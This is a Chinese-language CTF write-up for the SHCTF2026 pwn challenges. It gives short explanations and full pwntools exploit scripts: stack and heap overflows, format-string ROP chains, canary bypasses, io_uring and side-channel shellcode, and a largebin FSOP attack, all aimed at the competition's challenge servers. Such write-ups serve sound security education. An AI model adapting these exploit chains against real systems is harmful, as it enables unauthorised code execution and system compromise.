SHCTF2026

Pwn

int_overflow

整数溢出进入后门, 缓冲区溢出修改cmd为binsh

from pwn import *
context.binary = binary = ELF('./083747_task', checksec=False)

REMOTE = 1
HOST = 'challenge.shc.tf'
PORT = 30433

if REMOTE:
    r = remote(HOST, PORT)
else:
    r = process(binary.path)


r.sendlineafter(b"number1", b"-78")
r.sendlineafter(b"number2", b"-78")

padding = b"A" * 10
cmd = b"/bin/sh\x00"

payload = padding + cmd

r.sendafter(b"what is your name", payload)
r.interactive()

execve?orw?

ban了除了exit以外的syscall, 打测信道

from pwn import *
import time

context.arch = 'amd64'
context.log_level = 'info'

def get_conn():
    # return process('./pwn') 
    return remote('challenge.shc.tf', 30515) 

binary_path = './pwn'
flag_addr = 0x11451000

flag = ""

for i in range(5, 50):
    found = False
    
    # 遍历可见字符
    for char_code in range(32, 127): 
        log.info(f"Trying character {i}: {chr(char_code)}")
        log.info(f"Current flag: {flag}")
        # Shellcode 逻辑:
        # 1. 比较 flag[i] 和 猜测字符
        # 2. 相等 -> 死循环 (服务器不回包,连接保持)
        # 3. 不等 -> exit (服务器发送 FIN,连接关闭)
        assembly = f"""
            mov rbx, {flag_addr}
            add rbx, {i}
            mov al, byte ptr [rbx]
            cmp al, {char_code}
            je hang
            
            /* 错误则退出 (触发 EOF) */
            mov rax, 60
            xor rdi, rdi
            syscall
            
            hang:
            jmp hang
        """
        
        p = None
        try:
            p = get_conn()
            
            p.sendafter(b"execve? orw?", asm(assembly))
            
            start_time = time.time()
            
            try:
                p.recvline(timeout=1)
                flag += chr(char_code)
                log.info(f"Found: {flag}")
                found = True
                p.close()
                break
            except Exception:
                p.close()
                
        except Exception as e:
            if p: p.close()

    if not found:
        log.warning("\n[!] Character not found or end of flag.")
        break

    if flag.endswith('}'):
        log.success("\n[+] Full flag captured!")
        break

execve?orw?_revenge

刚开始题坏了, 后来修好以后一血被抢了, 拿了个二血。

Io_uring - J4f’s blog

直接copy板子秒了。

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch='amd64', os='linux', log_level='debug')

"""
    rsp+0x100   0x078: struct io_uring_params params = {};
    rsp+0x200   0x008: uring_fd
    rsp+0x208   0x008: sq_ring ptr
    rsp+0x210   0x008: cq_ring ptr
    rsp+0x218   0x008: sqes ptr
    rsp+0x220   0x008: flag_fd
    rsp+0x300   0x100: buffer
"""
shellcode = asm("""
/*视情况调整栈帧*/
    mov rsp, rbp
    sub rsp, 0x10000
/*int uring_fd = syscall(SYS_io_uring_setup, 16, &params);*/
    mov rax, 0
    lea rdi, [rsp+0x100]
    mov rcx, 15
    rep stosq
    mov rdi, 16
    lea rsi, [rsp+0x100]
    mov rax, 0x1a9
    syscall
/*unsigned char *sq_ring = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING);*/
    mov qword ptr [rsp+0x200], rax
    xor rdi, rdi
    mov rsi, 0x1000
    mov rdx, 3
    mov r10, 1
    mov r8, qword ptr [rsp+0x200]
    mov r9, 0
    mov rax, 9
    syscall
    mov qword ptr [rsp+0x208], rax
/*unsigned char *cq_ring = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING);*/
    xor rdi, rdi
    mov rsi, 0x1000
    mov rdx, 3
    mov r10, 1
    mov r8, qword ptr [rsp+0x200]
    mov r9, 0x8000000
    mov rax, 9
    syscall
    mov qword ptr [rsp+0x210], rax
/*struct io_uring_sqe *sqes = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES);*/
    xor rdi, rdi
    mov rsi, 0x1000
    mov rdx, 3
    mov r10, 1
    mov r8, qword ptr [rsp+0x200]
    mov r9, 0x10000000
    mov rax, 9
    syscall
    mov qword ptr [rsp+0x218], rax

/*openat*/
    mov rax, 0
    mov rdi, qword ptr [rsp+0x218]
    mov rcx, 8
    rep stosq
    mov rdi, qword ptr [rsp+0x218]
    mov byte ptr [rdi], 18 	/*opcode*/
    mov byte ptr [rdi+1], 0	/* IOSQE_ flags*/
    mov dword ptr [rdi+4], -100	/* file descriptor to do IO on */
    /* 要打开文件的路径存放在 rsp+0x300 处 */
    mov rax, 0x67616c662f
    mov qword ptr [rsp+0x300], rax
    lea rax, [rsp+0x300]
    mov qword ptr [rdi+16], rax /*pathname*/
    mov dword ptr [rdi+28], 0	/*open_flag*/

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x140]
    add rdi, rdx
    mov dword ptr [rdi], 0

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x12c]
    add rdi, rdx
    add dword ptr [rdi], 1

    mov rdi, qword ptr [rsp+0x200]
    mov rsi, 1
    mov rdx, 1
    mov r10, 1
    xor r8, r8
    xor r9, r9
    mov rax, 0x1aa
    syscall

    mov rdi, qword ptr [rsp+0x210]
    mov edx, dword ptr [rsp+0x164]
    add rdi, rdx
    mov edx, dword ptr [rdi+8]
    mov qword ptr [rsp+0x220], rdx

 /*read*/
    mov rax, 0
    mov rdi, qword ptr [rsp+0x218]
    mov rcx, 8
    rep stosq
    mov rdi, qword ptr [rsp+0x218]
    mov byte ptr [rdi], 22
    mov rax, qword ptr [rsp+0x220]
    mov dword ptr [rdi+4], eax
    lea rax, [rsp+0x300]
    mov qword ptr [rdi+16], rax
    mov dword ptr [rdi+24], 0x100

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x140]
    add rdi, rdx
    mov dword ptr [rdi], 0

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x12c]
    add rdi, rdx
    add dword ptr [rdi], 1

    mov rdi, qword ptr [rsp+0x200]
    mov rsi, 1
    mov rdx, 1
    mov r10, 1
    xor r8, r8
    xor r9, r9
    mov rax, 0x1aa
    syscall

/*write*/
    mov rax, 0
    mov rdi, qword ptr [rsp+0x218]
    mov rcx, 8
    rep stosq
    mov rdi, qword ptr [rsp+0x218]
    mov byte ptr [rdi], 23
    mov dword ptr [rdi+4], 1
    lea rax, [rsp+0x300]
    mov qword ptr [rdi+16], rax
    mov dword ptr [rdi+24], 0x100

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x140]
    add rdi, rdx
    mov dword ptr [rdi], 0

    mov rdi, qword ptr [rsp+0x208]
    mov edx, dword ptr [rsp+0x12c]
    add rdi, rdx
    add dword ptr [rdi], 1

    mov rdi, qword ptr [rsp+0x200]
    mov rsi, 1
    mov rdx, 3
    mov r10, 1
    xor r8, r8
    xor r9, r9
    mov rax, 0x1aa
    syscall
""")

if args.LOCAL:
    p = process('./pwn')
else:
    p = remote('extra-challenge.shc.tf', 30708)



p.recvuntil(b'execve? orw?')
sleep(0.1)
p.sendline(shellcode)

# sleep(1)
# print(p.recv(timeout=10))
p.interactive()

baby_fmt

leak libc和stack, 构造ROP, 写printf返回地址

#!/usr/bin/env python3
# -*- coding: utf-8 -*
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 0
ip = "challenge.shc.tf"
port = 32027
ELF_PATH="./pwn"
if local:
    p = process(ELF_PATH)
else:
    p = remote(ip,port)
elf = ELF(ELF_PATH)
libc = ELF("./libc.so.6")

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x, drop=True)

def dbg():
    script = '''
brva 0x126B
    '''
    if local:
        gdb.attach(p,script)
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')


fmt = b'%61$p-%62$p-'


sla(b'Input your text: ', fmt)
p.recvuntil(b'text:')
libc_base = int(p.recvuntil(b'-', drop=True), 16)-0x29e40
lg('libc_base')
stack_addr = int(p.recvuntil(b'-', drop=True), 16)
lg('stack_addr')

pop_rdi = libc_base + 0x00000000001b7866
ret = pop_rdi + 1
pop_rsi = libc_base + 0x000000000017557a
pop_rdx_rbx = libc_base + 0x0000000000174e76
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.sym['system']
leave_ret = libc_base + 0x000000000004da83


def write(addr, value):
    fmt = fmtstr_payload(7, {addr : value}, numbwritten=8)
    sla(b'Input your text: ', b'aaa' + fmt)


# write rbp
write(stack_addr-0x128, stack_addr)

ret_addr = stack_addr - 0x120
# construct ROP chain
# write(ret_addr, 0xdeadbeef)
write(ret_addr, pop_rdi)
write(ret_addr+8, binsh)
write(ret_addr+16, ret)
write(ret_addr+24, system)

# dbg()

target = stack_addr - 0x240 # printf ret addr
write(target, leave_ret)
p.interactive()

堆溢出, 构造重叠堆块, 篡改全局指针, 改free_got为onegadget

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 0

elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')



if local:
    p = process('./vuln')
else:
    p = remote('challenge.shc.tf', 32198)

def dbg():
    script = '''
disp/x *0x4040B0
b *0x40138B
    '''
    if local:
        gdb.attach(p,script)
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')


def add(size, content):
    p.sendlineafter(b'choice?\n', b'1')
    p.sendlineafter(b'size?\n', str(size).encode())
    p.sendafter(b'content?\n', content)

def delete():
    p.sendlineafter(b'choice?\n', b'2')

def show():
    p.sendlineafter(b'choice?\n', b'3')

def edit(content):
    p.sendlineafter(b'choice?\n', b'4')
    p.sendafter(b'content?\n', content)

add(0x18, b'a'*0x18)
add(0x18, b'b'*0x18)
add(0x18, b'c'*0x18)
add(0x18, b'd'*0x18)

delete()
delete()
delete()

payload = b'A' * 24 + p64(0x41)
edit(payload)

add(0x18, b'e'*0x18)

delete()

add(0x38, b'h'*0x18 + p64(0x21) + p64(0x4040B0) + p64(0xcafebabe))

# edit(p64(0x4040B0 + 8) + p64(elf.got['free']))
edit(p64(0x4040B0 + 8) + p64(0x4040B0 - 0x10))
edit(p64(elf.got['free']) + p64(0) + p64(0x4040B0 - 0x10) + b'/bin/sh\x00')

show()

p.recvuntil(b'content: ')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['free']
lg('libc_base')

system = libc_base + libc.sym['system']
edit(p64(libc_base + 0xe3b01))
# dbg()


delete()
p.interactive()


cpp_canary

覆盖rbp和retaddr进行栈迁移, 输入0字节触发异常处理绕过canary。

from pwn import *

context.binary = './pwn'
context.arch = 'amd64'
context.log_level = 'info'


backdoor_addr = 0x4025DB
user_addr = 0x406320         
target_stack = user_addr + 0x10 
fake_rbp = target_stack - 8
main_ret = 0x4028E6           

p = remote('challenge.shc.tf', 32377) 

p.sendafter(b"username: ", p64(backdoor_addr))


payload = flat({
    0: b'A' * 64,
    64: p64(fake_rbp),
    72: p64(main_ret)
})
p.sendafter(b"password: ", payload)


p.sendafter(b"key: ", b"\x00")

p.interactive()

hello rust

整数溢出触发panic通过is_poisoned()判定进入Secret Menu获取堆地址和system地址。edit_name堆溢出修改vtable执行system(“/bin/sh”)

from pwn import *

# Set up context
binary = './pwn'
elf = ELF(binary)
context.binary = binary
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

def start():
    if args.REMOTE:
        return remote('challenge.shc.tf', 30264) 
    else:
        return process(binary)



io = start()

def dbg():
    script = '''

    '''
    gdb.attach(io,script)
    pause()

def work():
    io.sendlineafter(b'> ', b'1')

def shop(idx):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b': ', str(idx).encode())

def edit_name(payload):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b': ', payload)

def manifesto():
    io.sendlineafter(b'> ', b'4')

def exploit():
    shop(256)

    for _ in range(150):
        work()

    shop(5)
    io.recvuntil(b': 0x')
    leak_x = int(io.recvline().strip(), 16)
    log.info(f"Leaked &x: {hex(leak_x)}")
    
    system_plt = leak_x

    shop(3)
    io.recvuntil(b': 0x')
    heap_name = int(io.recvline().strip(), 16)
    log.success(f"Heap Name Address: {hex(heap_name)}")
    
    payload = flat(
        b"/bin/sh\0",     
        b"A" * 16,           
        p64(system_plt),     
        b"B" * 4,               
        p64(heap_name),        
        p64(heap_name)          
    )
    
    edit_name(payload)
    manifesto()
    
    io.interactive()

if __name__ == '__main__':
    exploit()

baby_canary

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
# Context Setup
context.log_level = 'debug'
context.binary = elf = ELF('./pwn')

local = 0
libc = ELF('./libc.so.6')

if local:
    p = process('./pwn')
else:
    p = remote('challenge.shc.tf', 30899)

def dbg():
    script = '''
    '''
    if local:
        gdb.attach(p,script)
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

# --- Addresses & Constants ---
unk_4040C0 = 0x4040C0           # Base address for arbitrary write
got_stack_chk = elf.got['__stack_chk_fail']
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_main = 0x40154B
addr_start = 0x401130
addr_loop_var = 0x404068        # dword_404068


leave_ret = 0x401549
ret_gadget = 0x401016
pop_rax = 0x4013C9
gadget1 = 0x00000000004011fc


def write_primitive(p, idx, val):
    # Send index (padded to 9 bytes)
    p.send(str(idx).encode().ljust(9, b'\x00'))
    time.sleep(0.05)
    # Send value
    p.send(p64(val))
    # Handle continuation
    p.recvuntil(b'more?\n')
    p.send(b'y')



idx_stack = (got_stack_chk - unk_4040C0) // 8
idx_loop  = (addr_loop_var - unk_4040C0) // 8
idx_exit  = (elf.got['exit'] - unk_4040C0) // 8

p.recvuntil(b'baby canary!\n')
log.info("Phase 1: Disable Canary & Leak Libc")

# 1. Overwrite __stack_chk_fail with 'ret'
write_primitive(p, idx_stack, ret_gadget)

write_primitive(p, idx_loop, 1)

# Exit loop
p.send(b'0'.ljust(9, b'\x00')) # Dummy index
p.send(p64(0))                 # Dummy value
p.recvuntil(b'more?\n')
p.send(b'n')

# 4. Trigger Pivot
p.recvuntil(b'hack me\n')
# Payload: Padding(24) + Canary(8) + Saved RBP(unk_4040C0) + Ret(leave; ret)
payload = p64(pop_rax) + p64(elf.got['puts']) + p64(0x40149B) + p64(addr_main)*2



p.send(payload)

libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
lg('libc_base')


p.sendline(b'y')

pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_rbx = libc_base + 0x00000000000904a9
open_addr = libc_base + libc.sym['open']

p.send(b'aa')

p.send(p64(0))   

p.recvuntil(b'more?\n')

p.send(b'n')
p.recvuntil(b'ok,try to hack me\n')


bss = 0x404500
read_addr = libc_base + libc.sym['read']


payload = p64(pop_rsi) + p64(bss) + p64(read_addr) + p64(leave_ret) + p64(bss) + p64(leave_ret)
p.send(payload)

pause()

payload = b''
payload += p64(bss)
payload += p64(pop_rdx_rbx) + p64(0x500) + p64(0) + p64(read_addr)



p.send(payload)


pause()
mprotect_addr = libc_base + libc.sym['mprotect']
payload = b''
payload += b'a'*0x28
payload += p64(pop_rdi) + p64(bss & 0xfffffffffffff000)
payload += p64(pop_rsi) + p64(0x1000)
payload += p64(pop_rdx_rbx) + p64(7) + p64(0) + p64(mprotect_addr)
payload += p64(bss + 0x300)
payload = payload.ljust(0x300, b'\x00')

shellcode = shellcraft.openat('0', bss+0x400, 0)
shellcode += shellcraft.read('rax', bss+0x200, 0x500)
shellcode += shellcraft.write(1, bss+0x200, 0x500)
payload += asm(shellcode)
payload = payload.ljust(0x400, b'\x00')

payload += b'/flag\x00'
payload = payload.ljust(0x500, b'\x00')

# dbg()
p.send(payload)

p.interactive()


fmt_blind

void __fastcall sub_110D(__int64 p_format)
{
  dup2(0, 2);
  close(1);
  open("/dev/null", 1);
  dup(1);
}
flag在栈上, stdout闭了, 但是stderr还在。第一次输入leak libc 第二次输入有格式化字符串, stdoutfileno1改成2 这样printf的输出就转到stderr中了, 然后用%p把栈上的flag打印出来。
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
# Context Setup
context.log_level = 'info'
context.binary = elf = ELF('./pwn')

local = 0
libc = ELF('./libc.so.6')

if local:
    p = process('./pwn')
else:
    p = remote('challenge.shc.tf', 32070)

def dbg():
    script = '''
    brva 0x133D
    brva 0x1378
    '''
    if local:
        gdb.attach(p,script)
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

p.sendlineafter(b'Input your name size: ', b'128')


p.sendlineafter(b'Input your name: ', b'a'*88 + b'b'*8 + b'c'*8)
p.recvuntil(b'c'*8)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x20840
lg('libc_base')

fileno = libc_base + 0x3c5620 + 0x70
lg('fileno')


# dbg()
fmt = b'%2c%21$hhn%15$pPPPPPPPPP' + p64(fileno)
# fmt = b'%10$paaaaaa'

p.sendlineafter(b'change your name.', fmt)
data = p.recvuntil(b'PPPPPPPPP')
log.info(f'data: {data}')
p.interactive()

# 0x27697b4654434853
# 0x49622037304e204d 
# 0x377320315f444e49
# 0x6556616820314969
# 0x7d72726544543520

# SHCTF{i'M N07 bIIND_1 s7iI1 haVe 5TDerr}


Large Manager

2.35 largebin attack, 改 IO_list_all打house of板子。

from pwn import *

# Set up context
exe = './power'
elf = ELF(exe)
# libc = ELF('./libc.so.6') # Ensure you have the correct libc
context.binary = exe
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('./libc.so.6')

def dbg():
    script = '''

    b _IO_flush_all_lockp
    b _IO_wfile_overflow
    b _IO_wfile_underflow_maybe_mmap

    '''
    gdb.attach(io, script)
    pause()


OFFSET_MAIN_ARENA = 0x21b0b0 
OFFSET_IO_LIST_ALL = libc.symbols['_IO_list_all']
OFFSET_SYSTEM = libc.symbols['system']
OFFSET_IO_WFILE_JUMPS = libc.symbols['_IO_wfile_jumps']

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

def start():
    if args.REMOTE:
        return remote('challenge.shc.tf', 31148)
    return process(exe)

io = start()

def add(idx, size, content):
    io.sendlineafter(b'choice: ', b'1')
    io.sendlineafter(b'Enter the size of the record: ', str(size).encode())
    io.sendlineafter(b'Enter the index of the record: ', str(idx).encode())
    if len(content) < size:
        content = content.ljust(size, b'\x00')
    io.sendafter(b'Enter the content of the record: ', content)

def view(idx):
    io.sendlineafter(b'choice: ', b'2')
    io.sendlineafter(b'Enter the index of the record: ', str(idx).encode())
    return io.recvuntil(b'\n1. Add', drop=True)

def delete(idx):
    io.sendlineafter(b'choice: ', b'3')
    io.sendlineafter(b'Enter the index of the record: ', str(idx).encode())

def edit(idx, content):
    io.sendlineafter(b'choice: ', b'4')
    io.sendlineafter(b'Enter the index of the record: ', str(idx).encode())
    io.sendafter(b'Enter the content of the record: ', content)

add(0, 0x528, b"A" * 0x520)


add(1, 0x500, b"B" * 8)


add(2, 0x510, b"C" * 8)

delete(0)


add(3, 0x560, b"D" * 8)




leak_data = view(0)

leak_fd = u64(leak_data[:8])
leak_heap = u64(leak_data[16:24])

libc_base = leak_fd - 96 - OFFSET_MAIN_ARENA
heap_base = leak_heap - 0x290

log.success(f"Libc Base: {hex(libc_base)}")
log.success(f"Heap Base: {hex(heap_base)}")



delete(2)

target = libc_base + OFFSET_IO_LIST_ALL
log.info(f"Target: {hex(target)}")


lock = libc_base + 0x1000
setcontext = libc_base + libc.symbols['setcontext'] + 61
mprotect = libc_base + libc.symbols['mprotect']
_IO_wfile_jumps_maybe_mmap = libc_base + 0x216f40
fake_io_addr = heap_base + 0x290
ret = libc_base + 0x00000000000467c9
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx_r12 = libc_base + 0x000000000011f2e7
rax = libc_base + 0x0000000000045eb0

pl =p64(0) + p64(0) + p64(0) + p64(target-0x20)
pl+=p64(0)*2 + p64(0) + p64(fake_io_addr+0x10)
pl+=p64(0)*4
pl+=p64(0)*3 + p64(lock)
pl+=p64(0)*2 + p64(fake_io_addr+0xe0) + p64(0)
pl+=p64(0)*4
pl+=p64(0) + p64(_IO_wfile_jumps_maybe_mmap) 
pl+=p64(setcontext)
pl+=p64(0)*(0x7 + 0x14 - 8) + p64(fake_io_addr + 0x1c8) + p64(ret) + p64(0)*6 + p64(fake_io_addr + 0xe0 - 0x68)

# pl+=p64(rdi) + p64(heap_base >> 12 << 12) + p64(rsi) + p64(0x2000) + p64(rdx_r12) + p64(7)*2 + p64(mprotect)
# pl+= p64(heap_base + 0x7d0)# shellcode_addr

pl+=p64(rdi) + p64(libc_base + next(libc.search(b'/bin/sh'))) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(libc_base + libc.sym['execve'])

edit(0, pl)
add(4, 0x500, b"zmjjrr")

# dbg()
io.sendline(b'5')



io.interactive()

Earth_Online

这里是一份简单直接的中文 WriteUp,去掉了多余的废话,保留了核心思路。


Earth Online Pwn WriteUp

NaN 逻辑漏洞绕过检查 + Stack Pivot 劫持控制流。代码里没有 pop rdi

emergency_relief 函数,这里有个关于救济粮价格的计算:

// v6 是当前拥有的钱的一半
// 如果钱是 0,那么 v6 = 0.0
v1 = money / v6; // 0.0 / 0.0 = NaN

当我们的钱(money)被花光变成 0.0 时,如果去吃救济粮并选择 “Buy All”(选项2),就会触发除以零,导致买到的 food 变成 NaN

然后去超市把这些 NaN 的食物全卖掉(Sell All),我们的 money 也会被感染成 NaN

buy_house 函数里,有一个关键检查:

v4 = size * 100000000.0;
if ( v4 <= money ) { ... }

正常情况下买不起大房子。但因为 money 已经是 NaN 了,浮点数比较特性中,NaN 和任何数比较通常都会让条件判断失效(或者说走向“无序”分支),导致 v4 <= money 检查直接通过。

我们可以输入一个巨大的 size(比如 512),从而在后面的 read(0, buf, nbytes) 触发栈溢出。

有了栈溢出以后利用0x402248开始的一段代码打栈迁移leak libc然后getshell。

from pwn import *

# Context setup
exe = './pwn'
elf = ELF(exe)
context.binary = exe
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

def start():
    return remote('challenge.shc.tf', 32389)
    # return process(exe)


libc = ELF('./libc.so.6')
p = start()

def dbg():
    gdb.attach(p, '''
    ''')
    pause()


p.sendlineafter(b'Choice $', b'1')       
p.sendlineafter(b'Choice $', b'1')      
p.sendlineafter(b'kg) $', b'10')      
p.sendlineafter(b'Choice $', b'5')      


while True:
    p.sendline(b'9') 
    output = p.recv(timeout=0.05)
    if b'Relief Food Market' in output:
        log.success("Emergency Relief Triggered!")
        break

p.sendline(b'2') 

p.sendlineafter(b'Choice $', b'1')      
p.sendlineafter(b'Choice $', b'4')      
p.sendlineafter(b'Choice $', b'5')      


p.sendlineafter(b'Choice $', b'3')      

p.sendlineafter(b'size $', b'512')       


ret = 0x000000000040101a
pop_rsi = 0x000000000040254b
pop_rbp = 0x000000000040138b
bss = 0x406800
leave_ret = 0x0000000000401793
main = 0x40227B

payload = b''
payload += b'A' * 80
payload += p64(0x4060a0 + 0x58)
payload += p64(0x402248)


p.sendafter(b'characters) $', payload)
pause()

payload = b''
payload += b'A' * 0x50
payload += p64(bss)
payload += p64(leave_ret)
payload = payload.ljust(0x758, b'\x00')

payload += p64(bss + 0x100)
payload += p64(pop_rsi)
payload += p64(elf.got['puts'])
payload += p64(0x402264)
payload = payload.ljust(0x800, b'\x00')
payload += p64(0x500)
payload += p64(bss)

payload = payload.ljust(0x858, b'\x00')

payload += p64(0x4068a8 + 0x58)
payload += p64(0x402248)

p.send(payload)
pause()

p.recvuntil(b'Your dream house is ')
p.recvuntil(b'Your dream house is ')
p.recvuntil(b'Your dream house is ')
libc_base = u64(p.recvline().strip().ljust(8, b'\x00')) - libc.symbols['puts']
log.success(f"Leaked libc base: {hex(libc_base)}")

pop_rdi = libc_base + 0x000000000010f78b
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

payload = b''
payload += b'A' * 0x50
payload += p64(0xdeadbeef)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)



# dbg()
p.send(payload)





p.interactive()

# .text:0000000000402248                 mov     rdx, [rbp+nbytes] ; nbytes
# .text:000000000040224C                 lea     rax, [rbp+buf]
# .text:0000000000402250                 mov     rsi, rax        ; buf
# .text:0000000000402253                 mov     edi, 0          ; fd
# .text:0000000000402258                 call    _read
# .text:000000000040225D                 lea     rax, [rbp+buf]
# .text:0000000000402261                 mov     rsi, rax
# .text:0000000000402264                 lea     rax, aYourDreamHouse ; "Your dream house is %s\n"
# .text:000000000040226B                 mov     rdi, rax        ; format
# .text:000000000040226E                 mov     eax, 0
# .text:0000000000402273                 call    _printf
# .text:0000000000402278                 nop
# .text:0000000000402279
# .text:0000000000402279 locret_402279:                          ; CODE XREF: buy_house+22B↑j
# .text:0000000000402279                 leave
# .text:000000000040227A                 retn